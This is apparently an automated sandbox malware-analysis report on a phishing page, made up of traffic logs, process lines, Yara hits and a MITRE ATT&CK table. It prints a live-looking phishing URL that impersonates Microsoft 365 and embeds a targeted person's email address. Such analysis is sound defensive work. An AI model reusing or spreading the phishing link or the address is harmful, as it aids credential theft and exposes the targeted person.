laravel_session=eyJpdiI6IjNYRDB2R1FnWkNESFVaSWFpQVp5YkE9PSIsInZhbHVlIjoidkNoS3ZJQlpJRWNkM2RDZDNmMUJQaUh3dGtJUEVmQzdTOERZR1duTnN1WndYOVNsVm1pSzBlY3NjNkppaklKalRZWlpYSml3MG9jeDAwYXVqblk4bFo3NW55WVI5SW1rZHFXemp3Wno5Y0taWUNJNjhya0tlWmo5WitDWFNaSXkiLCJtYWMiOiI5OThlYWIwYWQwNzVhNGQ2YWFlYzJhOTQyZjg3YmM3ZDFlOGQyYjRmNTZiZDI2NmMwNWY5YzcxMWY2NWRhZjkxIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 18 Mar 2025 12:33:26 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:33:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmuA%2FEMfycnR0ZZjbhcEUJ076S2igOSZRN3hMPyA2PIZvnb7PJCQNvC8akipaOoLcFV2prXClM2HixYOglxykn9IVyCHJskoOvE9uymoPKsFa%2B5Wz4RGpgiHS1QGmWBl1Voa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=914&min_rtt=899&rtt_var=348&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2054&delivery_rate=3167964&cwnd=247&unsent_bytes=0&cid=203b2e07e2c32d01&ts=226&x=0"Server: cloudflareCF-RAY: 9224c2c87f6843f4-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1589&rtt_var=602&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1714&delivery_rate=1809169&cwnd=205&unsent_bytes=0&cid=74f3b48d93e09b3e&ts=506&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:33:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vJk6TPBEndFpmFVGfHf0StytHM9Hfcmc5SaJC4OWc2uwPVdwWxDLRKYJY82PGN%2BMk9kqK10I6l7wwkGW5QJVyZ%2FJA5lNRJ1%2BbY0zB%2B3lTB2C%2FRwB0qkJcNegHXdPVYmsRe%2BY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=1025&min_rtt=1024&rtt_var=385&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2267&delivery_rate=2781250&cwnd=244&unsent_bytes=0&cid=f2f7084dc897784c&ts=28&x=0"Cache-Control: max-age=14400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 9224c2d04bc30cbe-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1585&rtt_var=607&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1928&delivery_rate=1783750&cwnd=207&unsent_bytes=0&cid=89aae675f74017e3&ts=315&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:33:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wyy9kZP8IOeeHqUS%2FerFSShE7rccVhpGJwUSVuXqdi6ro5LciGhHPpYThg3el6k3KK1ZDNlEOSxbBXNWgVO7XDPvigN%2FYv2dRPQmS43r172Rg2zrBcUoQV0L3mDqbUZ8KpVM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1015&min_rtt=1002&rtt_var=402&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2059&delivery_rate=2565765&cwnd=251&unsent_bytes=0&cid=b40dabc6f8f7eefc&ts=228&x=0"Server: cloudflareCF-RAY: 9224c2d33894f78d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1484&rtt_var=564&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1721&delivery_rate=1924851&cwnd=194&unsent_bytes=0&cid=71238a2fdce94f55&ts=527&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:34:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kRcfNt2Dffys0I728Mu2qyt65YxXz2%2FQS78g7RtEU9cSnup3nSngY3TlVLDUg0bCYqPPuwvU8INHjINAPLYOAEDH5zg26a945ihCgVLi9CHO7Vn%2FnTrdrKY%2BFfzKkpXfrtde"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1084&min_rtt=909&rtt_var=466&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2057&delivery_rate=3133113&cwnd=251&unsent_bytes=0&cid=df3375f9cdbfef2e&ts=228&x=0"Server: cloudflareCF-RAY: 9224c339bb37de9b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1535&min_rtt=1524&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1718&delivery_rate=1810291&cwnd=166&unsent_bytes=0&cid=58eb05b5ad8c4a74&ts=524&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:34:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P0J7w6Dyq58f1tpmHKMX2srf5o4fP0lrvhEW8Km37S1oveMhQS%2BuL8AMa0%2FsXFbVoMtXPdUHUfGc32pjh5H6QcroX6fKv716HAzn%2FT%2B1HPBsX7Z16i5mXcGJ2mGdzEcbiQX%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1136&min_rtt=1125&rtt_var=444&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2053&delivery_rate=2342105&cwnd=251&unsent_bytes=0&cid=c9b9998daef83e7d&ts=229&x=0"Server: cloudflareCF-RAY: 9224c3439d77440e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1552&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1714&delivery_rate=1800246&cwnd=215&unsent_bytes=0&cid=ac4d70278a56ec7b&ts=509&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:34:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGCjE5o%2BNqYj80U2mCHjxBIZXjhkMrbO6MLUW2%2FZt9Ck%2B%2BKWVdeN9c9blrmjEhDiog%2FmWMCS9hDgNlWz0MGje0%2FgizFcoDlM5x0QdfrB%2BN5FhWT88%2FsW8tCe44N93ZUvq%2BaH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1033&min_rtt=921&rtt_var=425&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2069&delivery_rate=3092290&cwnd=251&unsent_bytes=0&cid=dda4daa7ebc6c208&ts=389&x=0"Server: cloudflareCF-RAY: 9224c3612f2a4282-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1690&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1730&delivery_rate=1655328&cwnd=235&unsent_bytes=0&cid=0b71aa9ac31ba480&ts=660&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 12:34:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rRXA6FyVC1x4ts7GXUaNX2xJjF8x5vds2JfCfXDsRkNGsqOR1YEIrFo3aZd%2BGAXclKVdDNTdTC%2BUeSHqsnplg5frwV9tboCBsZDMi5LOWpTK8gkljGsWXkAlqjq7U9eEqTz3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=992&min_rtt=992&rtt_var=372&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2069&delivery_rate=2870967&cwnd=251&unsent_bytes=0&cid=2746ddc2905cc5fc&ts=389&x=0"Server: cloudflareCF-RAY: 9224c3c079e2381d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2175&min_rtt=2135&rtt_var=829&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1730&delivery_rate=1367681&cwnd=80&unsent_bytes=0&cid=a03f0072709466d2&ts=664&x=0"

Source: chromecache_99.3.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_103.3.dr	String found in binary or memory: https://aJd.asfhkkiv.es/rIMOdeCtriNV/
Source: chromecache_99.3.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_93.3.dr	String found in binary or memory: https://www.walmart.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.213.38.242:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49809 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1432_1930646425

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1432_1930646425

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@23/92@38/16

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2296,i,17955037585810255446,17763860737144477224,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2332 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://microsoft365online.mdshohelrana.com/access/authorize/vFoOn1l/mdiaz@estrellagalicia.es"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2296,i,17955037585810255446,17763860737144477224,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2332 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 4.22..script.csv, type: HTML
Source: Yara match	File source: 3.16.d.script.csv, type: HTML
Source: Yara match	File source: 4.23..script.csv, type: HTML
Source: Yara match	File source: 4.9.pages.csv, type: HTML
Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
